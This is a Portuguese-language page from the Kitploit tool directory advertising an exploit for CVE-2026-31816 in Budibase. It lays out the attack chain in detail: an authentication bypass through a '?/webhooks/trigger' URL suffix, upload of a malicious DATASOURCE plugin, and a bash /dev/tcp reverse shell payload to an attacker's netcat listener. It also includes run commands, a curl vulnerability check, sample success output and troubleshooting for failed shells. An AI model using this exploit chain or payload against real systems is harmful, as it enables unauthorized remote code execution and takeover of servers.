Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31816-rshell — Explora o CVE-2026-31816 no Budibase para contornar a autenticação, carregar um plugin de fonte de dados malicioso e executar um shell reverso para acesso remoto. | Kitploit
Ferramentas/GitHubGitHub/imjdl/cve-2026-31816-rshell
ExploraçãoExploração de Aplicações WebAutenticaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubimjdl/cve-2026-31816-rshell

CVE-2026-31816-rshell

Explora o CVE-2026-31816 no Budibase para contornar a autenticação, carregar um plugin de fonte de dados malicioso e executar um shell reverso para acesso remoto.

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploração de Reverse Shell CVE-2026-31816

Visão Geral

Esta ferramenta explora a CVE-2026-31816 para estabelecer uma conexão de reverse shell em um servidor Budibase alvo.

Cadeia de Ataque: Bypass de Autenticação → Upload de Plugin DATASOURCE → Execução de Código no Servidor → Reverse Shell

Requisitos

  • Python 3.6+
  • Biblioteca requests (pip install requests)
  • Servidor Budibase alvo vulnerável à CVE-2026-31816

Uso

Passos Básicos

root@kitploit:~
# 1. Inicie o listener na máquina do atacante
nc -lvnp 4444

# 2. Execute o exploit (outro terminal)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost SEU_IP --lport 4444

Parâmetros

ParâmetroObrigatórioDescrição
-t, --target✅URL do Budibase alvo
--lhost✅Host do listener (seu IP)
--lport❌Porta do listener (padrão: 4444)

Exemplos

root@kitploit:~
# IP do atacante: 192.168.1.100
# Budibase alvo: 192.168.1.128:10000

# Terminal 1 - Iniciar listener
nc -lvnp 4444

# Terminal 2 - Executar exploit
python3 CVE-2026-31816-rshell.py \
    -t http://192.168.1.128:10000 \
    --lhost 192.168.1.100 \
    --lport 4444

Como Funciona

1. Verificação de Vulnerabilidade

root@kitploit:~
GET /api/integrations?/webhooks/trigger

Se retornar 200, o alvo é vulnerável ao bypass de autenticação.

2. Criar Plugin Malicioso

root@kitploit:~
{
  "type": "datasource",
  "schema": { ... }
}

Plugins do tipo DATASOURCE executam código JavaScript no servidor.

3. Payload de Reverse Shell

root@kitploit:~
// Executado quando o plugin é validado:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

4. Upload e Execução

root@kitploit:~
POST /api/plugin/upload?/webhooks/trigger

Upload do plugin contornando a autenticação. O código é executado durante a validação.

Fluxo de Ataque

root@kitploit:~
┌─────────────┐     ┌─────────────┐     ┌─────────────┐
│  Atacante   │     │   Alvo      │     │  Listener   │
│             │     │   Servidor  │     │   (nc)      │
│             │     │             │     │             │
│ exploit ────┼────►│ Upload      │     │             │
│             │     │ Plugin      │     │             │
│             │     │ Executar    │────►│ Ouvir       │
│             │     │ Código      │◄────┤ Reverse     │
│             │     │             │     │ Conectar    │
└─────────────┘     └─────────────┘     └─────────────┘

Indicador de Sucesso

root@kitploit:~
============================================================
CVE-2026-31816 - Exploit de Reverse Shell
============================================================
[*] Alvo: http://192.168.1.128:10000
[*] Reverse shell: 192.168.1.100:4444

[*] Verificando vulnerabilidade...
[+] O alvo está vulnerável!
[*] Criando plugin de reverse shell direcionado a 192.168.1.100:4444

[*] Enviando plugin de reverse shell...
[*] Status: 200
[+] Plugin instalado com sucesso!

============================================================
[+] SUCESSO! Verifique seu listener!
============================================================

Solução de Problemas

P: Falha na conexão, nenhum shell recebido

Causas possíveis:

  1. Firewall bloqueando a conexão reversa
  2. Servidor alvo não consegue alcançar o IP do atacante
  3. Servidor alvo não possui bash

Soluções:

root@kitploit:~
# Verificar conectividade de rede
ping SEU_IP

# Verificar firewall
sudo ufw allow 4444/tcp

# Tentar porta diferente
nc -lvnp 8080

P: Falha no upload

Causas possíveis:

  1. O alvo aplicou patch na vulnerabilidade
  2. Problemas de rede

Soluções:

root@kitploit:~
# Testar manualmente se a vulnerabilidade existe
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# Se retornar JSON, a vulnerabilidade existe
Baixar ferramenta